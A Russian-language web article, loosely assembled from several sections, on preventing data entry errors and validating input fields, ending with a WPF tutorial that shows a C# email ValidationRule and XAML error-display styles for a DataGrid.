1. Внимательно проверяйте данные перед отправкой. Прежде чем нажимать кнопку «Отправить» или «Готово», убедитесь, что все данные введены правильно. Проверьте, нет ли опечаток или лишних символов.

2. Используйте подсказки и автозаполнение. Многие приложения и веб-сайты предлагают подсказки и автозаполнение, которые могут помочь вам правильно ввести данные. Пользуйтесь этими функциями, чтобы избежать ошибок.

3. Используйте клавишу «Tab» для перехода между полями. Клавиша «Tab» позволяет быстро переключаться между полями ввода. Это помогает избежать пропуска или повторного ввода данных.

4. Обратите внимание на формат данных. Некоторые поля ввода имеют определенный формат данных, например, дату или номер телефона. Убедитесь, что вы вводите данные в правильном формате, чтобы избежать ошибок.

5. Не спешите. Иногда ошибки происходят из-за торопливости. Постепенно и внимательно вводите данные, чтобы избежать неправильного ввода.

6. Пользуйтесь проверкой на ошибки. Если возможно, используйте встроенные функции проверки на ошибки при вводе данных. Это может помочь выявить и исправить ошибки до отправки данных.

7. Обратите внимание на заглавные и строчные буквы. В некоторых случаях регистр букв может играть роль. Убедитесь, что вы правильно вводите заглавные и строчные буквы, особенно при вводе паролей или имен.

8. Запоминайте важные данные. Если вам приходится часто вводить одни и те же данные, попробуйте запомнить их или сохранить в надежном месте. Это позволит избежать ошибок и сэкономит время при вводе данных в будущем.

Следуя этим советам, вы сможете предотвратить ошибки при вводе данных и сохранить свою информацию правильно и безопасно.

Как избежать неверных данных в поле ввода

Ошибки ввода данных в поле ввода могут привести к непредсказуемым последствиям и негативно сказаться на работе приложения или веб-сайта. Чтобы избежать неверных данных, следует применять несколько полезных методов и техник.

1. Валидация данных: Одним из наиболее эффективных способов предотвратить ошибки ввода данных является использование валидации. Валидация данных позволяет проверить, соответствуют ли введенные значения определенным критериям, таким как формат даты, наличие обязательных полей и правильность ввода символов. Валидация может быть выполнена как на стороне клиента, так и на стороне сервера.

2. Отображение подсказок: Для помощи пользователям в правильном заполнении полей ввода можно использовать подсказки. Подсказки могут быть представлены в виде текста, иконок или всплывающих подсказок, которые объясняют, какие данные требуется ввести и какой формат следует использовать.

3. Ограничение символов: Ограничение символов в поле ввода может помочь предотвратить некорректные или излишние данные. Например, можно установить ограничение на количество символов или на тип символов, которые могут быть введены в поле.

4. Проверка на наличие ошибок: После ввода данных в поле следует провести проверку на наличие ошибок. Если данные не соответствуют заданным критериям, пользователю должно быть предоставлено сообщение об ошибке с указанием причины ошибки и подсказкой о том, как ее исправить.

5. Документация и обучение: Чтобы избежать неверных данных, важно предоставить пользователям достаточную документацию и обучение по использованию полей ввода. Объясните, какие данные требуются, какие форматы допустимы и какие ошибки могут возникнуть при некорректном вводе данных.

Применение этих методов позволит повысить точность и надежность ввода данных в поля ввода, улучшить пользовательский опыт и избежать непредвиденных ошибок в приложениях и веб-сайтах.

Что делать, если неверное значение в поле ввода привело к ошибке

При работе с формами на веб-сайтах или приложениях пользователи обязательно сталкиваются с полем ввода данных. Однако, иногда случается так, что пользователь вводит неверное значение в поле, что в свою очередь приводит к возникновению ошибки. Что делать в данной ситуации?

Первым и главным шагом является информирование пользователя об ошибке ввода. Для этого необходимо вывести сообщение об ошибке рядом с полем ввода, которое будет содержать понятное и четкое описание ошибки. Например, если пользователь ввел некорректный адрес электронной почты, сообщение может быть следующим: «Пожалуйста, введите корректный адрес электронной почты».

Далее, нужно предоставить пользователю возможность исправить ошибку. Это можно сделать путем очистки поля ввода или позволить пользователю ввести новое значение. Важно, чтобы пользователь понимал, что он должен сделать, чтобы исправить ошибку.

Если пользователь не понимает, в чем заключается ошибка или как исправить ее, можно предоставить дополнительные подсказки. Например, можно добавить ссылку на страницу с инструкцией или подробным описанием требований к полю ввода.

Кроме того, следует учитывать, что некорректное значение в поле ввода может быть связано с неверным форматом данных или ограничениями (например, минимальное или максимальное значение). В таком случае, в сообщении об ошибке можно указать конкретные требования к полю ввода и пояснить, почему введенное значение неправильно.

Лучшие практики по проверке корректности введенных данных

1. Валидация на стороне клиента: Одной из наиболее распространенных практик является валидация данных на стороне клиента при помощи JavaScript. Это позволяет проверить данные непосредственно в момент ввода пользователем, без необходимости отправки формы на сервер. Такая проверка может быть полезна для предотвращения некорректного ввода данных и предоставления обратной связи пользователю в реальном времени.

2. Валидация на стороне сервера: Помимо валидации на стороне клиента, также важно проводить проверку корректности введенных данных на стороне сервера. Это необходимо для того, чтобы предотвратить возможность внесения некорректных данных в базу данных или другие системы. Валидация на стороне сервера может быть использована для проверки данных, которые не могут быть проверены на стороне клиента или для дополнительной проверки данных, введенных пользователем.

3. Использование регулярных выражений: Регулярные выражения являются мощным инструментом для проверки корректности введенных данных. Они позволяют задать шаблон, который должен соответствовать введенным данным, и проверить, соответствуют ли данные этому шаблону. Регулярные выражения могут быть использованы для проверки правильности формата email адреса, номера телефона, пароля и других типов данных.

4. Дружественные сообщения об ошибках: Важным аспектом проверки корректности введенных данных является предоставление пользователю понятных и информативных сообщений об ошибках. Вместо общих фраз типа «Ошибка валидации» или «Пожалуйста, исправьте ошибку» следует предоставить пользователю информацию о том, какие именно ошибки были допущены и что нужно исправить. Это поможет пользователю быстро понять, что именно нужно исправить, и улучшит общую пользовательскую опыт.

5. Использование списков ошибок: Вместо вывода всех ошибок сразу, полезно предоставлять пользователю список ошибок, с указанием конкретного поля, в котором была допущена ошибка. Это позволит пользователю сосредоточиться на исправлении конкретных ошибок и упростит процесс валидации данных. Кроме того, список ошибок может быть представлен в виде ссылок, позволяющих пользователю быстро переместиться к соответствующему полю для исправления ошибки.

6. Тестирование различных сценариев: Важно проводить тестирование на различных сценариях использования, чтобы убедиться, что все возможные ошибки валидации обрабатываются корректно. Например, следует проверить, что ввод некорректных символов вызывает соответствующую ошибку, что ввод слишком длинных данных обрабатывается правильно, и так далее. Тестирование поможет выявить потенциальные проблемы с проверкой корректности введенных данных и улучшить качество приложения.

7. Уведомление о сохранении данных: Если введенные данные прошли проверку на корректность, полезно предоставить пользователю уведомление о том, что данные были успешно сохранены или приняты. Такое уведомление может быть представлено в виде сообщения об успешной отправке формы или всплывающего окна с подтверждением. Это поможет пользователю быть уверенным, что его данные были успешно обработаны системой и не потерялись.

Последствия неверно введенных данных в поле ввода

Неверное заполнение полей ввода на веб-страницах может иметь различные негативные последствия. Во-первых, некорректно введенные данные могут привести к получению неправильной информации или выполнению некорректных действий. Это особенно важно в случае, когда пользователь ожидает определенного результата или выполняет какую-то важную операцию.

Например, если пользователь неправильно введет свою электронную почту при регистрации на сайте, то он не сможет получить уведомления и доступ к своему аккаунту. Это может вызвать неудобства и потерю возможности пользоваться функционалом сайта. Также, некорректное заполнение полей ввода может привести к получению неправильных данных при оформлении заказа, что повлечет за собой ошибки в доставке товаров и услуг.

Во-вторых, некорректно введенные данные могут привести к уязвимостям безопасности. Например, если пользователь вводит неправильный пароль или логин при авторизации, то это может стать причиной несанкционированного доступа к его аккаунту. Злоумышленники могут получить доступ к личной информации, совершать незаконные действия от его имени или использовать его аккаунт в качестве платформы для проведения вредоносных действий.

Для предотвращения негативных последствий от неверно введенных данных в поле ввода, веб-разработчики и дизайнеры должны предусмотреть механизмы проверки и валидации введенной информации. Например, они могут использовать различные встроенные функции для проверки правильности формата введенных данных (например, проверка наличия ‘@’ в адресе электронной почты) или выводить сообщения об ошибках и подсказки для пользователя при неправильном заполнении полей.

Частые ошибки при вводе данных: как избежать проблем

Введение

При вводе данных в компьютерные системы существует ряд ошибок, которые могут привести к потере информации, некорректным результатам или даже системным сбоям. Эти ошибки могут быть вызваны неосторожностью пользователя, недостаточной обученностью или неправильной настройкой системы. В данной статье рассмотрим наиболее распространенные ошибки при вводе данных и предложим методы их предотвращения.

Ошибки ввода данных

Ниже перечислены наиболее частые ошибки, с которыми пользователи сталкиваются при вводе данных:

  1. Опечатки и ошибки в печати: Данная ошибка возникает, когда пользователь допускает опечатки или ошибки при печати информации. Это может привести к некорректному распознаванию данных или их полной непригодности для дальнейшего использования.

  2. Недостаточная проверка ввода: Пользователь может позволить вводить некорректные данные без должной проверки. Это может привести к некорректным результатам и ошибкам в дальнейшей обработке информации.

  3. Необходимость заполнения всех полей: В некоторых системах требуется заполнять все поля, но пользователь может забыть это сделать или оставить некоторые поля пустыми. Это может вызвать ошибки или привести к некорректному анализу данных.

  4. Инвертированные значения: Временами пользователь может нечаянно инвертировать значения при вводе данных. Например, ошибочно вводить дату рождения в формате DD.MM.YYYY вместо корректного формата DD.MM.YY.

  5. Неучтенные форматы: Различные системы и программы могут иметь определенные требования к формату вводимых данных. Ввод данных в неправильном формате может вызвать ошибки или их некорректную обработку.

Предотвращение ошибок

Для предотвращения ошибок при вводе данных можно использовать следующие подходы:

  1. Реализовать автоматическую проверку: Компьютерные системы могут быть настроены для автоматической проверки вводимых данных на наличие опечаток, некорректных значений, несоответствие формату и так далее. Это может уменьшить количество ошибок и обеспечить более точные результаты.

  2. Добавить подсказки и инструкции: Важно предоставлять пользователю подсказки и инструкции при вводе данных для уменьшения вероятности ошибок. Например, можно указывать форматы даты или требования к вводу пароля.

  3. Обучить пользователей: Пользователям следует предоставить обучение по правильному вводу данных и осведомить их о возможных ошибках. Это может быть в виде тренингов, видеоуроков или простых напоминаний.

  4. Внедрить двухэтапное подтверждение: В случаях, когда введенная информация является критической, важно предоставить пользователю возможность двухэтапного подтверждения, чтобы убедиться в правильности вводимых данных.

  5. Вести журнал ошибок: Ведение журнала ошибок позволит идентифицировать наиболее часто встречающиеся ошибки и принять меры по их устранению.

Заключение

Ошибки при вводе данных могут иметь серьезные последствия для всех типов систем, отличающихся по характеру и содержанию информации. Чтобы избежать подобных проблем, важно понимать основные ошибки, которые могут возникать при вводе данных, и принимать соответствующие меры предосторожности. Пользователи и системные администраторы должны работать вместе, чтобы гарантировать корректность данных и предотвращать ошибки при вводе информации.

Проверка ввода данных

При вводе и редактировании данных важной задачей эффективного интерфейса является валидация – проверка вводимых данных. Если с данными можно связать определенные бизнес-правила (например, соответствие допустимому диапазону, корректность преобразования при вводе, определенный шаблон), то целесообразно проводить валидацию данных при их вводе. Элемент управления DataGrid позволяет выполнять проверку на уровне ячеек и на уровне строк. В строке DataGrid хранится определенный объект. В сетке DataGridEmployee отображаются объекты Employee. Каждая колонка сетки связана с определенным свойством класс Employee.
Когда пользователь обновляет какое-либо свойство объекта Employee, в ходе проверки на уровне ячеек проверяются отдельные свойства объекта, привязанного к данным. Когда пользователь вносит изменения в строку, то есть в объект Employee, в ходе проверки на уровне строк проверяются целые объекты данных. Для улучшения качества интерфейса можно реализовать визуальную реакцию на ошибки проверки или использовать стандартные сигналы, предоставляемые элементом управления DataGrid.

Поставим задачу проверки шаблона при вводе свойства Email, то есть адреса электронной почты. В строке ввода должны присутствовать символы @ и точка.

Спроектируем правило проверки для привязки, которое будет использоваться со столбцом «Электронная почта«. Для этого необходимо создать класс правила проверки EmailRule, который должен наследоваться от базового класса ValidationRule. Класс EmailRule поместим во вновь созданную папку ValidationRules проекта.

public class EmailRule: ValidationRule
{
    public override ValidationResult Validate(object value,
                    System.Globalization.CultureInfo cultureInfo)
    {
        string email = string.Empty;
        if (value != null)
        {
            email = value.ToString();
        }
        else
            return new ValidationResult(false, " Адрес электронной почты не задан! ");
        if (email.Contains("@") && email.Contains("."))
        {
            return new ValidationResult(true, null);
        }
        else
        {
            return new ValidationResult(false, 
					"Адрес электронной почты должен содержать 
					символы @ и (.) точки \n Шаблон адреса:			
					adres@mymail.com");
        }
    }
}

В классе правил проверки необходимо переопределить метод Validate, который возвращает результат проверки – экземпляр класса ValidationResult. Если проверка проходит успешно, тогда возвращаемым значением является объект класса ValidationResult, который создается с параметрами true и null.

return new ValidationResult(true, null);

Если проверка приводит к выявлению несоответствия, то класс ValidationResult, создается с параметрами false и строка сообщения об ошибке.

return new ValidationResult(false, "Адрес электронной почты должен 
содержать символы @ и (.) точки \n Шаблон адреса:   
adres@mymail.com");

Для использования объекта EmailRule в XAML-документе страницы PageEmployee добавим в её описание пространство имен WpfApplProject.ValidationRules.

xmlns:rule="clr-namespace:WpfApplProject.ValidationRules"

Внесем изменения в XAML-описание колонки Электронная почта.

<DataGridTextColumn  Header="Электронная почта" EditingElementStyle="{StaticResource errorStyle}">
    <DataGridTextColumn.Binding >
        <Binding Path="Email" Mode="TwoWay" UpdateSourceTrigger="PropertyChanged"
ValidatesOnExceptions ="True" >
            <Binding.ValidationRules>
                 <rule:EmailRule />
          </Binding.ValidationRules>
        </Binding>
    </DataGridTextColumn.Binding>
</DataGridTextColumn>

Для привязки Binding свойству ValidatesOnExceptions зададим значение true. Задание данного свойства обеспечивает использование элемента ExceptionValidationRule. ExceptionValidationRule предоставляет встроенное правило проверки, проверяющее возникновение исключений при обновлении свойства источника. В случае возникновения ошибки механизм привязки создает ValidationError с исключением и добавляет его в коллекцию Validation.Errors привязанного элемента. Отсутствие ошибок сбрасывает это состояние обратной связи проверки, если другое правило не вызовет событие проверки.

Правило проверки задается для свойства ValidationRules класса Binding.

<Binding.ValidationRules>
   <rule:EmailRule />
</Binding.ValidationRules>

Модель привязки данных WPF позволяет связывать ValidationRules с объектом Binding, используя пользовательские правила. Подсистема привязки проверяет каждое из ValidationRule, связанных с привязкой, каждый раз, когда вводимое значение (значение свойства цель привязки) переносится в свойство источник привязки.

В WPF имеются стандартные стили для отображения ячеек сетки при возникновении ошибки ввода, но они являются недостаточно информативными. Для более эффектного выделения ячейки сетки при ошибке ввода создадим специальный стиль errorStyle.

<Style x:Key="errorStyle" TargetType="{x:Type TextBox}">
    <Setter Property="Padding" Value="-2"/>
    <Style.Triggers>
        <Trigger Property="Validation.HasError" Value="True">
            <Setter Property="Background" Value="Red"/>
            <Setter Property="BorderThickness" Value="1" />
            <Setter Property="ToolTip"
                    Value="{Binding RelativeSource={RelativeSource Self},
                Path=(Validation.Errors)[0].ErrorContent}"/>
        </Trigger>
    </Style.Triggers>
</Style>

В стиле errorStyle триггер срабатывает, когда свойство Validation.HasError принимает значение true. При этом цвет заливки ячейки становится красным и при наведении на ячейку указателя мыши выводится сообщение-подсказка (свойство ToolTip ), текст которого определяется в правиле проверки EmailRule при обнаружении ошибки (Validation.Errors)[0].ErrorContent).

Стандартные средства WPF при обнаружении ошибки ввода в ячейке помечают строку сетки красным восклицательным знаком. Создадим шаблон ControlTemplate для визуального указания ошибки при проверке строки. Данный шаблон задается для свойства RowValidationErrorTemplate сетки DataGrid. Проектируемый шаблон должен обеспечить вывод красного круга с белым восклицательным знаком слева от строки сетки с обнаруженной ошибкой ввода. При наведении указателя мыши на круг должна выводиться подсказка, сформированная в классе правил проверки ввода.

<DataGrid.RowValidationErrorTemplate>
    <ControlTemplate>
        <Grid Margin="0,-2,0,-2"
              ToolTip="{Binding RelativeSource={RelativeSource FindAncestor,
                                           AncestorType={x:Type DataGridRow}},
            Path=(Validation.Errors)[0].ErrorContent}">
            <Ellipse StrokeThickness="0" Fill="Red" Width="{TemplateBinding FontSize}"
                                                 Height="{TemplateBinding FontSize}" />
            <TextBlock Text="!" FontSize="{TemplateBinding FontSize}" FontWeight="Bold"
                                    Foreground="White" HorizontalAlignment="Center"  />
        </Grid>
    </ControlTemplate>
</DataGrid.RowValidationErrorTemplate>

На
рис.
5.14 и
рис.
5.15 приведены результаты тестирования страницы PageEmployee при наличии ошибки ввода адреса электронной почты.

Визуализация ошибки ввода при наведении указателя мыши на предупреждение для строки

увеличить изображение
Рис.
5.15.
Визуализация ошибки ввода при наведении указателя мыши на предупреждение для строки

Понравилась статья? Поделить с друзьями:
  • Ошибки при фотографировании людей
  • Ошибки при утеплении стен каркасного дома
  • Ошибки проведения местной анестезии
  • Ошибки при формулировании миссии
  • Ошибки при утеплении мансарды каменной ватой